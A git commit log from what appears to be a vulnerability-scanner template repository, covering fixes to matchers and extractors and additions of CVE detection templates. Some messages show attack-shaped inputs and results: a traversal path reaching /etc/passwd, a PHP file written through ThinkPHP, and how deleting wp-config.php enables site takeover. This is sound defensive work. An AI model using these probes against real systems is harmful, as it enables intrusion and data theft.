  after:   (nothing)

The exploit stage is untouched: it still requires status 500 AND an
interactsh dns interaction, which is the only evidence of the reflection
injection.

Marking these internal keeps them as gates rather than findings -- the same
pattern CVE-2026-23696 already uses for its flow stages. Verified the chain
still proceeds: on a host that satisfies every stage, all 7 blocks execute
before and after this change, and a minimal two-block template confirms an
internal matcher gates the next request while only the final non-internal
matcher reports.

Block 5 also gains matchers-condition: and. A bare 302 is any redirect and
the _gh_render header alone is not proof of a session; requiring both is
what "the login succeeded" actually means.

nuclei -validate passes before and after.
2026-07-27 09:54:28 +09:00
Jiho Lee 19ab1a3f1f fix(thinkphp6-arbitrary-write): the dsl variable is status_code_2, not status_2
nuclei exposes per-request values as status_code_2, body_2, header_2 -- there
is no status_2. The name resolves to nothing, the dsl matcher never passes,
and because the template is matchers-condition: and, it can never fire.

Verified with nuclei built from dev against a server that mimics a vulnerable
ThinkPHP 6 (echoes the traversal cookie back in Set-Cookie, then serves the
written file):

  before:  no output
  after:   [thinkphp6-arbitrary-write] [http] [critical] .../4zdzkqh4xhz.php

Isolated the name itself on a two-request template first, so the result is
not specific to this one:

  "status_2 == 200"       no match
  "status_code_2 == 200"  matched

nuclei -validate reports success on both the broken and the fixed template,
which is why this survived.

Only occurrence in the tree: `grep -rn 'status_[0-9]' --include='*.yaml' .`
excluding status_code returns nothing else. One line.
2026-07-27 09:26:44 +09:00
Jiho Lee 7f5a5e7a18 fix(portal-api-ssrf): extractor part is interactsh_request, not interactsh
nuclei sets interactsh_protocol, interactsh_request, interactsh_response and
interactsh_ip on the event (pkg/protocols/common/interactsh/interactsh.go).
There is no plain `interactsh` key, so `part: interactsh` resolves to nothing
and the extractor silently yields no interaction_id.

The template's own dsl matcher already uses the correct name:

  - 'contains(interactsh_request, "/api/v3/portal")'

so only the extractor was wrong. Every other template in the tree that
extracts from an OAST callback uses interactsh_request (CVE-2026-35029,
CVE-2021-2135, dast/ai/ai-data-exfiltration); this was the only
`part: interactsh` in 13,451 files.

Confirmed that an unrecognised part fails silently rather than erroring:

  part: interactsh              -> [ix-bad]  ... (no extraction)
  part: totally-made-up-header  -> [ix-hdr]  ... (no extraction)
  part: header                  -> [ix-good:got] ... ["TestServer/9.9.9"]

`nuclei -validate` passes both before and after, which is why this was
invisible.

One line.
2026-07-27 07:22:22 +09:00
Jiho Lee 45e4f7b8de fix: three CVE templates put regexes in word matchers, so they never fire
A `word` matcher is a literal substring comparison, so `\s*`, `.*` and
`([a-zA-Z0-9_-]+)` have to appear verbatim in the response for it to match.
None of these three templates can detect the vulnerability it targets.

Verified against local servers returning exactly what each template looks
for, with nuclei built from dev. Before, all three:

  [INF] Scan completed. No results found.

After:

  [CVE-2017-5521]  [high] .../passwordrecovered.cgi?id=U0uI0
  [CVE-2017-7615]  [high] .../verify.php?id=1&confirm_hash
  [CVE-2020-23575] [high] .../../../../../../etc/passwd%00index.htm

CVE-2020-23575 is the clearest: the target body was a real /etc/passwd and
"root:.*:0:0:" matched nothing.

Only `type: word` -> `type: regex` and the `words:` key; every pattern is
unchanged, as are severity, condition, part, and metadata. The patterns are
already valid Go regexes, so no rewriting was needed.

Scanned the tree for the same mistake: 13,451 files, 21,434 words in word
matchers, 28 regex-looking. The rest are literal text that happens to
contain a metacharacter (Windows paths like "ExePath=\Windows", PHP
namespaces like "yii\base\ErrorException", ":$apr1$" htpasswd prefixes),
which are correct as words. These three are the ones that cannot match.
2026-07-27 06:51:02 +09:00
Jiho Lee 49d873a29c fix: add the missing capture group to three regex extractors
Each of these declares `group: 1` on a pattern with zero capture groups.
`ExtractRegex` reads `FindAllStringSubmatch`, which returns exactly
`NumSubexp()+1` entries per match, so index 1 is always out of range: the
template matches, reports, and extracts nothing.

Verified against a local server with nuclei built from dev. Before:

  [oracle-containers-panel:word-1] [http] [info] http://127.0.0.1:8732/
  [smtp-credentials-exposure:dsl-1] [http] [high] http://127.0.0.1:8732/

After:

  [oracle-containers-panel:word-1] ... ["10.1.3.5.0"]
  [smtp-credentials-exposure:dsl-1] ... ["Username: [email protected]","PASSWORD: s3cr3t"]

smtp-credentials-exposure is the one that matters most: the JSON pattern
sits beside an XML pattern that does capture, so on a JSON body the
template fires and silently omits the credential it exists to report.
`[^"]*` rather than `.*` so a value cannot run past its closing quote into
the next field.

The other two extract a version string and a context path, both empty today.

Scan of the tree: 13,451 yaml files, 2,100 regex extractors with group > 0,
these 3 files (4 patterns) affected. Nothing else changes.

Found while adding a compile-time check for this in nuclei
(projectdiscovery/nuclei#7612).
2026-07-27 06:34:04 +09:00
Jiho Lee 9c1b4fea4d fix: replace an unsupported lookahead that made the template fail to load
The invalid-owner matcher uses a negative lookahead:

    ^\\S+\\s+\\S+\\s+(?!root|.*EXPECTED_USER=)

Go's RE2 has no lookahead, so this never compiles and the whole template
is dropped at load:

    Could not parse template home-env-permission.yaml: could not compile
    request: cause="could not compile regex: ^\\S+\\s+\\S+\\s+(?!root|...)"
    Found 1 templates with runtime error

Neither of the two matchers ever runs, so the check has never worked.

The comparison it wants -- owner is neither root nor the expected user --
cannot be expressed in RE2 at all, since it relates two fields of the
same line. The shell pipeline already knows both, so awk marks the line
and the matcher looks for that marker instead.

Verified against sample ls -l output: only the foreign-owner row is
flagged; rows owned by root or by the expected user are not.

  -rw-r--r-- 1 mallory mallory ... EXPECTED_USER=bob   -> INVALID_OWNER
  -rw-r--r-- 1 alice   alice   ... EXPECTED_USER=alice -> not flagged
  -rw-r--r-- 1 root    root    ... EXPECTED_USER=alice -> not flagged

Before: template dropped with a compile error.
After:  loads with no runtime error.

Found by scanning every regex in the repo: 10088 patterns across 13451
templates, this was the only one Go cannot compile.
2026-07-27 00:03:40 +09:00
Jiho Lee 8c41971f78 fix: add the missing capture group to four regex extractors
Each of these declares group: 1 on a pattern with no capture group. The
extractor skips every submatch (len(match) < group+1) and silently
produces nothing, so the value the template promises is never reported.

  oracle-containers-panel          version string never extracted
  springboot-x-application-context header value never extracted
  smtp-credentials-exposure        JSON form of both credentials missed

smtp-credentials-exposure is the clearest: two patterns share one
group: 1, and only the XML form captures. Against a body containing both
forms it extracts only the XML match, so the JSON credential the
template is named for goes unreported.

Verified each replacement against a realistic corpus:

  oracle    'Oracle Containers for J2EE 10g \((.*)\)'  -> 10.1.3.5.0
  springboot '(?m)^X-Application-Context:\s*(\S.+)$'   -> application:prod:8080
  smtp      'smtp_username":"(.*?)"'                    -> admin
  smtp      'smtp_password":"(.*?)"'                    -> s3cr3t

Two deliberate choices: the springboot pattern needs (?m) because the
header part is a multi-line block and ^ would otherwise only match at
the start of it; the smtp patterns use a lazy quantifier so a body with
several keys doesn't swallow everything between the first and last
quote.

Only the extractor patterns changed; matchers are untouched.
2026-07-26 23:52:11 +09:00
Mzack9999 72eeb016ca fix templates 2026-07-26 12:29:41 +04:00
ghost d51e9a38ae chore: update EPSS scores 🤖 2026-07-26 03:00:24 +00:00
ghost e17dbe446e chore: update EPSS scores 🤖 2026-07-25 02:59:55 +00:00
Yoann ONO 02eb2db1d4 Create CVE-2026-34036.yaml
Dolibarr <=22.0.4 authenticated Local File Inclusion in core/ajax/selectobject.php.
Verified against Dolibarr 20.0.4 with a live lab.

Signed-off-by: Yoann ONO <[email protected]>
2026-07-24 23:15:27 +02:00
ghost c90abbe640 chore: generate templates checksum 🤖 2026-07-24 13:58:24 +00:00
ghost 0d3d7f28c9 chore: generate CVEs metadata 🤖 2026-07-24 13:55:51 +00:00
ghost e269d50baf chore: sign templates 🤖 2026-07-24 13:55:45 +00:00
Sandeep SinghandCursor 1c39dc4778 Improve CVE-2026-63030: safe route-confusion detection (#16658)
Replace the timing/SLEEP-based blind SQLi detection with a deterministic
route-confusion probe to fix false negatives reported in #16629.

- Drop SLEEP timing oracle (WAF-prone, flaky, availability impact)
- Detect batch-route confusion via block_cannot_read + absence of
  rest_term_invalid (patched hosts route correctly and return it)
- Keep WordPress pre-check gate via flow to avoid false positives
- Update metadata, tags, CWE (CWE-287), and credit flx-0x00

Co-authored-by: Cursor <[email protected]>
2026-07-24 19:25:23 +05:30
Jerome FELLUS 1b313d098d add template for CVE-2026-9198 - IBM Langflow Unauthenticated RCE via Auto-Login Bypass 2026-07-24 12:06:09 +02:00
ghost 3d42602831 chore: generate templates checksum 🤖 2026-07-24 06:31:06 +00:00
ghost c9eb754b77 chore: generate new addition list 🤖 2026-07-24 06:29:18 +00:00
ghost 40417ab9ca chore: sign templates 🤖 2026-07-24 06:28:33 +00:00
pussycat0x a691f258e5 Merge pull request #16654 from wujiecong/arthas-web-console
Added Alibaba Arthas Web Console Detect Template
2026-07-24 11:58:11 +05:30
ghost ec725c05ee chore: update KEV and vKEV tags and metadata 🤖 2026-07-24 04:04:15 +00:00
Roberto Nunes 17b45eec23 Update arthas-web-console.yaml 2026-07-24 12:47:36 +09:00
ghost 060b2591e6 chore: update EPSS scores 🤖 2026-07-24 03:00:15 +00:00
ghost ee71c007b3 chore: generate templates checksum 🤖 2026-07-23 16:40:29 +00:00
ghost d5aaf31666 chore: sign templates 🤖 2026-07-23 16:39:22 +00:00
pussycat0x 7a640986c8 Merge pull request #15947 from hugo-syn/main
feat: add body fuzzing to DAST and add POST/PUT methods
2026-07-23 22:09:02 +05:30
ghost 38022ee243 chore: generate new addition list 🤖 2026-07-23 16:38:21 +00:00
ghost ef174abce5 chore: generate CVEs metadata 🤖 2026-07-23 16:37:44 +00:00
ghost 84f7b742b9 chore: sign templates 🤖 2026-07-23 16:37:40 +00:00
pussycat0x e19e050d18 Merge pull request #16586 from Aryu-RU/add-cve-2026-42796
Add CVE-2026-42796 - Arelle < 2.39.10 - Unauthenticated Remote Code Execution
2026-07-23 22:07:17 +05:30
wujiecong cabe21dfda Added Alibaba Arthas Web Console Detect Template 2026-07-23 21:41:08 +08:00
iamatownboy c18b5966d3 Add CVE-2026-3335 Canto template 2026-07-23 19:42:49 +09:00
iamatownboy 765fd77c4b Add CVE-2026-0743 WP Content Permission template 2026-07-23 19:42:48 +09:00
iamatownboy 5b604f196f Add CVE-2026-4987 SureForms payment bypass template 2026-07-23 19:42:48 +09:00
iamatownboy 9f5e0d0d15 Add CVE-2026-1830 Quick Playground template 2026-07-23 19:42:47 +09:00
iamatownboy 54e2148173 Add CVE-2025-14047 WPUF template 2026-07-23 19:42:47 +09:00
iamatownboy f5fa131419 Add CVE-2026-39468 Meta Box template 2026-07-23 19:42:47 +09:00
iamatownboy 00683c3ceb add CVE-2026-12898 nuclei template 2026-07-23 19:42:46 +09:00
ghost c9fa86589a chore: generate templates checksum 🤖 2026-07-23 08:44:57 +00:00
ghost b37911b836 chore: generate new addition list 🤖 2026-07-23 08:26:28 +00:00
ghost fcd913a3ac chore: sign templates 🤖 2026-07-23 08:25:46 +00:00
pussycat0x ba52a1b696 Merge pull request #10321 from Thacien/CVE-2023-34992
Added CVE-2023-34992 and CVE-2024-23108 Templates
2026-07-23 13:55:22 +05:30
pussycat0x 1c60f15392 Update CVE-2023-34992.yaml 2026-07-23 13:54:25 +05:30
ghost cffef6ac48 chore: generate templates checksum 🤖 2026-07-23 08:16:06 +00:00
ghost cf2057a586 chore: generate new addition list 🤖 2026-07-23 08:14:13 +00:00
ghost b5eacab563 chore: sign templates 🤖 2026-07-23 08:13:32 +00:00
ghost 75b6cf7075 chore: generate CVEs metadata 🤖 2026-07-23 08:13:30 +00:00
Dhiyaneshwaran 4a866b97c6 Merge pull request #16189 from aleff-github/cve-2025-55746-directus-file-modification
Add Directus CVE-2025-55746 unauthenticated file modification validator
2026-07-23 13:43:11 +05:30
Ritik Chaddha 15f868583e Update CVE-2025-55746.yaml 2026-07-23 13:33:36 +05:30
Dhiyaneshwaran 9b055e0ce5 Fix formatting in CVE-2025-55746.yaml 2026-07-23 13:31:23 +05:30
Dhiyaneshwaran 34dc5a7256 Refine CVE-2025-55746 details and HTTP request format
Updated the CVE-2025-55746 YAML file to clarify the vulnerability details, enhance the remediation instructions, and adjust the HTTP request structure.
2026-07-23 13:28:42 +05:30
ghost 742e10fc02 chore: generate new addition list 🤖 2026-07-23 07:43:46 +00:00
ghost f416b85be3 chore: generate CVEs metadata 🤖 2026-07-23 07:43:02 +00:00
ghost 1ecbb463de chore: sign templates 🤖 2026-07-23 07:42:37 +00:00
ghost eb720b3299 chore: generate new addition list 🤖 2026-07-23 07:39:54 +00:00
Ritik Chaddha ba56320df6 Merge pull request #16624 from projectdiscovery/CVE-2026-58455
CVE-2026-58455 - Dockwatch <= 0.6.567 - Unauthenticated OS Command Injection
2026-07-23 13:08:44 +05:30
Ritik Chaddha 4debb34345 Merge pull request #16623 from projectdiscovery/CVE-2026-22683
CVE-2026-22683 - Windmill < 1.603.3 - Operator Authorization Bypass via Folder Management
2026-07-23 13:08:39 +05:30
Ritik Chaddha 9b6f145f1e Merge pull request #16622 from projectdiscovery/CVE-2026-23696
CVE-2026-23696 - Windmill < 1.603.3 - Authenticated SQL Injection via Folder Permissions
2026-07-23 13:08:29 +05:30
Ritik Chaddha 802e6263a0 Update CVE-2026-23696.yaml 2026-07-23 12:42:45 +05:30
Ritik Chaddha 0c5d491662 Update CVE-2026-22683.yaml 2026-07-23 12:41:53 +05:30
Ritik Chaddha 1b6d246178 Update CVE-2026-58455.yaml 2026-07-23 12:40:54 +05:30
ghost b5ee541aec chore: generate templates checksum 🤖 2026-07-23 05:58:07 +00:00
ghost 89df2564e9 chore: generate new addition list 🤖 2026-07-23 05:56:14 +00:00
ghost 96df081d1c chore: sign templates 🤖 2026-07-23 05:55:34 +00:00
Aman Rawat 488d52c9a3 Merge pull request #16471 from fsoppelsa/add-vllm-exposed-template
Add vLLM OpenAI-compatible API unauthenticated exposure template
2026-07-23 11:25:12 +05:30
ghost 5475347094 chore: generate templates checksum 🤖 2026-07-23 05:52:32 +00:00
ghost 3801986146 chore: sign templates 🤖 2026-07-23 05:51:26 +00:00
ghost af80b53d4e chore: generate new addition list 🤖 2026-07-23 05:51:21 +00:00
ghost eef9d62a8c chore: generate CVEs metadata 🤖 2026-07-23 05:51:12 +00:00
Aman Rawat 3f526cc76d Merge pull request #16096 from ChrisJr404/add-cve-2024-42323-hertzbeat
Add CVE-2024-42323 - Apache HertzBeat SnakeYAML deserialization RCE
2026-07-23 11:20:51 +05:30
Aman Rawat f4f42d60d0 Merge pull request #16349 from flyingllama87/perforce-cve-update
Enrich 4x Perforce templates (now CVE-2026-6043)
2026-07-23 11:20:42 +05:30
Aman Rawat a638b76eb2 Merge pull request #16468 from stanley0707/fix/dameng-detect-false-positives
fix dameng-detect: use positive signature to avoid false positives
2026-07-23 11:20:34 +05:30
ghost 4d44cd3150 chore: sign templates 🤖 2026-07-23 05:50:12 +00:00
ghost a2d9493aa3 chore: generate CVEs metadata 🤖 2026-07-23 05:50:06 +00:00
Aman Rawat 9b846f3b8a Merge pull request #16092 from ChrisJr404/add-cve-2024-56511-dataease
Add CVE-2024-56511 - DataEase whitelist path-traversal authentication bypass
2026-07-23 11:19:48 +05:30
ghost 7d8b377f22 chore: generate templates checksum 🤖 2026-07-23 05:20:55 +00:00
ghost 599330b14e chore: generate new addition list 🤖 2026-07-23 05:19:07 +00:00
ghost 23609089b4 chore: sign templates 🤖 2026-07-23 05:18:24 +00:00
Dhiyaneshwaran c80ee05368 Merge pull request #16553 from rxerium/add-ai-ml-gap-templates
Add AI/ML panel and technology detection templates
2026-07-23 10:48:04 +05:30
Dhiyaneshwaran e459d440a6 update descriptions to past tense and standardize formatting 2026-07-23 10:42:42 +05:30
ghost 9a4a5cd3a5 chore: generate templates checksum 🤖 2026-07-23 04:47:38 +00:00
ghost 83cfe0bd2d chore: sign templates 🤖 2026-07-23 04:45:06 +00:00
Dhiyaneshwaran 864409c48d Merge pull request #16579 from munzzyy/fix/exposed-zookeeper-default-config-fn
fix: reduce false negatives in exposed-zookeeper template
2026-07-23 10:14:47 +05:30
Dhiyaneshwaran 9097945801 Enhance ZooKeeper exposure details and extractors
Updated the description, impact, remediation, and added extractors for unauthenticated access to ZooKeeper.
2026-07-23 10:10:04 +05:30
ghost 9d899332ad chore: generate templates checksum 🤖 2026-07-23 04:36:57 +00:00
ghost 8b167e31fe chore: sign templates 🤖 2026-07-23 04:34:44 +00:00
ghost b72d9bed77 chore: generate CVEs metadata 🤖 2026-07-23 04:34:39 +00:00
Roberto Nunes ea5e44fe8a Merge pull request #16526 from Eren-Akdag/fix/CVE-2023-50839-false-positive
fix(CVE-2023-50839): add plugin fingerprint to prevent false positives
2026-07-23 13:34:22 +09:00
ghost a74c7e1f10 chore: sign templates 🤖 2026-07-23 04:34:11 +00:00
Roberto Nunes 996f5fd0f2 Merge pull request #16591 from daffainfo/patch-112941
Moved CVE-2021-27877.yaml to the correct folder
2026-07-23 13:33:52 +09:00
Akokonunes 3e9bdbfb50 fix(CVE-2023-50839): add plugin fingerprint pre-check to prevent false positives 2026-07-23 13:29:22 +09:00
ghost 8069bac55b chore: generate templates checksum 🤖 2026-07-23 04:26:27 +00:00
Akokonunes 6cbe03ef61 fix: move CVE-2021-27877 from network/ to javascript/ (correct template type) 2026-07-23 13:25:37 +09:00
ghost 1e324eaede chore: generate new addition list 🤖 2026-07-23 04:25:18 +00:00
ghost a010af7739 chore: generate CVEs metadata 🤖 2026-07-23 04:24:32 +00:00
Roberto Nunes df6b93bbd6 Merge pull request #16637 from projectdiscovery/CVE-2026-48909
CVE-2026-48909 - Joomla SP LMS <= 4.1.3 - Remote Code Execution
2026-07-23 13:24:13 +09:00
ghost 2acdf53e68 chore: generate CVEs metadata 🤖 2026-07-23 04:23:59 +00:00
ghost 63a4ae6014 chore: sign templates 🤖 2026-07-23 04:23:52 +00:00
Roberto Nunes d0811013a2 Merge pull request #16301 from AI-DEV-BOT/convert/bitrix-open-redirect-cve-2008-2052
Convert Bitrix open redirect template to CVE-2008-2052
2026-07-23 13:23:34 +09:00
ghost 47da10440b chore: generate templates checksum 🤖 2026-07-23 04:17:34 +00:00
ghost fa1ae2b8ab chore: generate new addition list 🤖 2026-07-23 04:15:55 +00:00
ghost ea061ccee0 chore: sign templates 🤖 2026-07-23 04:15:07 +00:00
pussycat0x b0c1768f93 Merge pull request #12821 from Jaenact/add-dast_vulnerabilites_injection
Add Unix and Windows Command Injection Detection Template
2026-07-23 09:44:46 +05:30
ghost 2823f4f81e chore: generate templates checksum 🤖 2026-07-23 04:14:21 +00:00
ghost b541b56a39 chore: sign templates 🤖 2026-07-23 04:12:39 +00:00
pussycat0x 7647e01f20 Merge pull request #16160 from PachkaKofe04/convert-geovision-CVE-2021-47795
Convert geovision-geowebserver-lfi-xss to CVE-2021-47795
2026-07-23 09:42:20 +05:30
Akokonunes 54d6a875aa fix: resolve conflict - merge CVE-2008-2052 improvements (cpe, name, refs) with main epss scores 2026-07-23 13:12:18 +09:00
ghost c90ba6c773 chore: sign templates 🤖 2026-07-23 04:10:10 +00:00
pussycat0x 375d733641 Merge pull request #16362 from jakxx/twitter_fp
Update twitter-phish.yaml
2026-07-23 09:39:49 +05:30
ghost 63372485cc chore: generate templates checksum 🤖 2026-07-23 04:09:35 +00:00
ghost a1072de80c chore: generate new addition list 🤖 2026-07-23 04:07:29 +00:00
ghost e18c0189b6 chore: sign templates 🤖 2026-07-23 04:07:14 +00:00
Dhiyaneshwaran 2bba2e9feb Merge pull request #16574 from infosec-asish/fix/langfuse-health-matcher
Fix/langfuse health matcher
2026-07-23 09:36:56 +05:30
ghost d1f3fdf703 chore: sign templates 🤖 2026-07-23 04:06:49 +00:00
Dhiyaneshwaran ed2260ccb3 Update CVE-2025-55746 name for clarity 2026-07-23 09:36:45 +05:30
ghost 5a2c8edba4 chore: generate CVEs metadata 🤖 2026-07-23 04:06:44 +00:00
pussycat0x a69fd60600 Merge pull request #16626 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-8385.yaml - WordPress WP Go Maps < 10.0.10 - Unauthenticated Marker Data Disclosure
2026-07-23 09:36:26 +05:30
ghost a619a30c9f chore: generate templates checksum 🤖 2026-07-23 04:06:17 +00:00
ghost 3643ec4172 chore: update KEV and vKEV tags and metadata 🤖 2026-07-23 04:04:53 +00:00
ghost 061937844c chore: generate new addition list 🤖 2026-07-23 04:04:00 +00:00
ghost 9c5990e7b9 chore: generate new addition list 🤖 2026-07-23 04:03:38 +00:00
ghost dfe1d6ed0d chore: sign templates 🤖 2026-07-23 04:03:19 +00:00
Roberto Nunes b1302ca755 Merge pull request #16619 from wujiecong/CNVD-2021-35876
Add CNVD-2021-35876 Alibaba Sentinel - Default Login
2026-07-23 13:02:57 +09:00
ghost aa00da71eb chore: generate CVEs metadata 🤖 2026-07-23 04:02:55 +00:00
Roberto Nunes 2cc33d8dbe Merge pull request #16345 from WRG-11/cve-2026-31831-tautulli
CVE-2026-31831 (Tautulli <= 2.16.1 - Unauthenticated Path Traversal)
2026-07-23 13:02:32 +09:00
ghost 7307a43d9d chore: generate templates checksum 🤖 2026-07-23 03:52:11 +00:00
ghost 5a3179e0de chore: generate new addition list 🤖 2026-07-23 03:50:48 +00:00
ghost 8d44f33e20 chore: sign templates 🤖 2026-07-23 03:50:06 +00:00
ghost c5483e0461 chore: generate new addition list 🤖 2026-07-23 03:49:47 +00:00
pussycat0x d16c353156 Merge pull request #16612 from Th3l0newolf/chatwoot
Add Chatwoot Login Panel detection
2026-07-23 09:19:43 +05:30
ghost dbfdd2e439 chore: sign templates 🤖 2026-07-23 03:49:03 +00:00
ghost 21490268d3 chore: generate CVEs metadata 🤖 2026-07-23 03:48:55 +00:00
Dhiyaneshwaran 2e295254e5 Merge pull request #16640 from projectdiscovery/16634-TEMPLATE-REQUEST]-Unauthenticated-RCE-in-SP-Page-Builder-(Joomla)
Add CVE-2026-48908.yaml - Joomla SP Page Builder <= 6.6.1 - Unauthenticated Arbitrary File Upload RCE
2026-07-23 09:18:39 +05:30
Dhiyaneshwaran d89ce32bda Refactor description formatting in exposed-zookeeper.yaml
Removed redundant line breaks in the description of the exposed ZooKeeper access issue.
2026-07-23 09:17:36 +05:30
Roberto Nunes 84cfdece93 Remove CVE-2026-48908.yaml from http/cves/2026 (moved to javascript/cves/2026) 2026-07-23 12:44:01 +09:00
Roberto Nunes 1172ce9514 Move CVE-2026-48908.yaml from http/cves/2026 to javascript/cves/2026 2026-07-23 12:43:52 +09:00
ghost 4e2a47d17b chore: update EPSS scores 🤖 2026-07-23 03:00:20 +00:00
Roberto Nunes 8424591612 use javascript protocol instead 2026-07-23 11:13:36 +09:00
Roberto Nunes 8d7b5b2de7 Add CVE-2026-48908 vulnerability details
Added CVE-2026-48908 entry detailing an unauthenticated arbitrary file upload vulnerability in Joomla SP Page Builder.
2026-07-23 09:32:36 +09:00
Dhiyaneshwaran d9aebb20da CVE-2026-48909 - Joomla SP LMS <= 4.1.3 - Remote Code Execution 2026-07-22 23:52:30 +05:30
ghost 4e43b74806 chore: generate templates checksum 🤖 2026-07-22 17:46:47 +00:00
ghost b2ef372abb chore: generate CVEs metadata 🤖 2026-07-22 17:44:11 +00:00
Dhiyaneshwaran 343b0766c7 Merge pull request #16636 from inokii/bug/cve-2025-29635-http-not-javascript
Fix CVE-2025-29635 classification type
2026-07-22 23:13:53 +05:30
Matthew Kienow eb146fc60a Fix CVE-2025-29635 classification type
Correct the component type for CVE-2025-29635 to an HTTP template
rather than JavaScript.
2026-07-22 13:26:09 -04:00
Ritik Chaddha 5554c4b483 Update CVE-2026-31831.yaml 2026-07-22 21:57:53 +05:30
ghost edc652d6e0 chore: generate templates checksum 🤖 2026-07-22 15:51:07 +00:00
ghost 38d69eac06 chore: sign templates 🤖 2026-07-22 15:48:34 +00:00
Dhiyaneshwaran e89cdbfb4a Merge pull request #16628 from kadewu/kiali-panel-fp
reduce kiali panel fp
2026-07-22 21:18:10 +05:30
Ritik Chaddha f14b063535 Update CVE-2025-55746.yaml 2026-07-22 20:33:37 +05:30
stopic-lab 08fc921997 Added CVE-2026-8713: Avada Builder Arbitrary File Deletion
This PR adds a new template for CVE-2026-8713, a critical vulnerability in the Avada (Fusion) Builder plugin for WordPress (versions up to 3.15.3).

The vulnerability exists in the maybe_delete_files() function within the Fusion_Form_DB_Entries class. Due to insufficient validation of the file_path parameter, an unauthenticated attacker can perform a directory traversal to delete arbitrary files on the server.

Impact:
A successful attack allows the deletion of sensitive files such as wp-config.php. Deleting wp-config.php resets the WordPress installation, allowing an attacker to re-install the site and gain full administrative control (RCE).

Vulnerability Details
CVE ID: CVE-2026-8713
Severity: Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected Plugin: Avada (Fusion) Builder
Affected Versions: <= 3.15.3
Vulnerability Type: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') leading to Arbitrary File Deletion.
References
https://nvd.nist.gov/vuln/detail/CVE-2026-8713
https://www.wordfence.com/blog/2026/06/critical-unauthenticated-arbitrary-file-deletion-vulnerability-patched-in-avada-builder-wordpress-plugin/
https://www.falconinternet.net/blog/avada-builder-cve-2026-8713-wp-config-deletion-wordpress
Checklist
[x] I have tested the template logic against the described endpoint.
[x] The template follows the Nuclei v3 format.
[x] Proper metadata (tags, CVSS, etc.) is included.
[x] Reference links are provided.
2026-07-23 00:24:23 +09:30
Ritik Chaddha ef2ec6b454 Update CVE-2024-42323.yaml 2026-07-22 20:17:04 +05:30
Ritik Chaddha 2c778474c8 Update CVE-2024-42323.yaml 2026-07-22 20:15:57 +05:30
Ritik Chaddha 82b326c34a Update CVE-2024-56511.yaml 2026-07-22 20:14:35 +05:30
Ritik Chaddha e0e68d1264 Update CVE-2024-56511.yaml 2026-07-22 20:07:54 +05:30
Ritik Chaddha eed358670c Update chatwoot-login-panel.yaml 2026-07-22 19:05:52 +05:30
Ritik Chaddha d341fd7da6 Update langfuse-panel.yaml 2026-07-22 18:42:17 +05:30
Ritik Chaddha 610edf11e2 Update vllm-openai-api-exposed.yaml 2026-07-22 18:30:10 +05:30
ghost efa56541ba chore: generate templates checksum 🤖 2026-07-22 12:17:22 +00:00
ghost ae4fd557a1 chore: generate new addition list 🤖 2026-07-22 12:15:49 +00:00
ghost c0b536291f chore: generate CVEs metadata 🤖 2026-07-22 12:15:05 +00:00
ghost 57573c57fe chore: sign templates 🤖 2026-07-22 12:15:01 +00:00
Roberto Nunes 39978dd341 Merge pull request #16627 from projectdiscovery/CVE-2026-6875
CVE-2026-6875 - ServiceNow AI Platform - Pre-Auth JavaScript Sandbox Escape RCE
2026-07-22 21:14:42 +09:00
kadewu 9c5965e82a reduce kliali panel fp 2026-07-22 13:36:57 +02:00
Dhiyaneshwaran 1359291f5f CVE-2026-6875 - ServiceNow AI Platform - Pre-Auth JavaScript Sandbox Escape RCE 2026-07-22 16:24:59 +05:30
ghost 2397fab0b7 chore: generate templates checksum 🤖 2026-07-22 05:57:57 +00:00
pussycat0x 0c7acbe01d Merge pull request #16600 from zer0p0intvvv/docs/add-zer0p0int-social-profile
Add zer0p0int contributor social profile
2026-07-22 11:27:33 +05:30
ghost ab097b07fc chore: generate templates checksum 🤖 2026-07-22 04:33:17 +00:00
ghost e93642c9e8 chore: sign templates 🤖 2026-07-22 04:31:02 +00:00
Roberto Nunes fa3c3c4c30 Merge pull request #16616 from anupamme/fix-repo-nuclei-templates-fix-remove-aws-key-cve-2024-51482
fix: aws access key id value detected in CVE-2024-51482.yaml...
2026-07-22 13:30:41 +09:00
Roberto Nunes 7052f5c7da Create CVE-2026-8385.yaml 2026-07-22 13:29:44 +09:00
ghost 43d43cc4e4 chore: update KEV and vKEV tags and metadata 🤖 2026-07-22 04:06:03 +00:00
ghost a51cd98c49 chore: update EPSS scores 🤖 2026-07-22 03:00:02 +00:00
Dhiyaneshwaran 37eca2c8b6 CVE-2026-58455 - Dockwatch <= 0.6.567 - Unauthenticated OS Command Injection 2026-07-22 01:14:08 +05:30
Dhiyaneshwaran f686a73751 Update CVE-2026-22683.yaml 2026-07-21 23:44:41 +05:30
Dhiyaneshwaran f8bcf78955 CVE-2026-22683 - Windmill < 1.603.3 - Operator Authorization Bypass via Folder Management 2026-07-21 23:39:31 +05:30
Dhiyaneshwaran e7d551c398 CVE-2026-23696 - Windmill < 1.603.3 - Authenticated SQL Injection via Folder Permissions 2026-07-21 23:11:18 +05:30
ghost 1c48d2f992 chore: generate templates checksum 🤖 2026-07-21 17:02:50 +00:00
ghost 82d56d1c74 chore: generate new addition list 🤖 2026-07-21 17:00:43 +00:00
ghost abc88399a6 chore: sign templates 🤖 2026-07-21 17:00:10 +00:00
ghost ee710265bc chore: generate CVEs metadata 🤖 2026-07-21 17:00:02 +00:00
Ritik Chaddha 2eccf5f388 Merge pull request #16563 from xtronix2000/CVE-2026-33497
Add CVE-2026-33497 Langflow Unauthenticated Path Traversal
2026-07-21 22:29:45 +05:30
Dhiyaneshwaran 2e1e12ce7e Update windows-command-injection.yaml 2026-07-21 20:53:33 +05:30
ghost 9426659ffb chore: generate templates checksum 🤖 2026-07-21 15:22:45 +00:00
ghost 13b3bfe1b5 chore: generate new addition list 🤖 2026-07-21 15:21:46 +00:00
ghost 6bf0116f63 chore: generate new addition list 🤖 2026-07-21 15:20:58 +00:00
Ritik Chaddha 6bce521b02 Merge pull request #16565 from righettod/solife_add
Add detection of "Vermeg Solife" login panel instances.
2026-07-21 20:50:38 +05:30
ghost f39aa32590 chore: sign templates 🤖 2026-07-21 15:20:13 +00:00
Ritik Chaddha c1ee0f00c4 Merge pull request #16613 from projectdiscovery/CVE-2026-3296
CVE-2026-3296 - Everest Forms WordPress Plugin <= 3.4.3 - Unauthenticated PHP Object Injection
2026-07-21 20:49:52 +05:30
Ritik Chaddha 1fa7ee39c8 Update CVE-2026-33497.yaml 2026-07-21 20:49:48 +05:30
